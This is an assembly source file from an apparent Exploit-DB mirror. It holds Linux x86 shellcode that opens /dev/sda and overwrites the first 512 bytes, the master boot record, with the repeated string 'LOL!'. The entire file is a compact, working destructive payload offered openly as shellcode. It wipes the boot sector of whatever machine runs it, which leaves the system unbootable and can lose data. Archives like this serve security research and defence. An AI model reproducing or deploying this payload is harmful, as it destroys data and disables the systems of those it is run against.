exploit-db-mirror/platforms/lin_x86/shellcode/13563.asm
Offensive Security fffbf04102 Updated
2013-12-03 19:44:07 +00:00

31 lines
644 B
NASM
Executable file

; linux/x86 overwrite MBR on /dev/sda with `LOL!' 43 bytes
; root@thegibson
; 2010-01-15
section .text
global _start
_start:
; open("/dev/sda", O_WRONLY);
mov al, 5
xor ecx, ecx
push ecx
push dword 0x6164732f
push dword 0x7665642f
mov ebx, esp
inc ecx
int 0x80
; write(fd, "LOL!"x128, 512);
mov ebx, eax
mov al, 4
cdq
push edx
mov cl, 128
fill:
push dword 0x214c4f4c
loop fill
mov ecx, esp
inc edx
shl edx, 9
int 0x80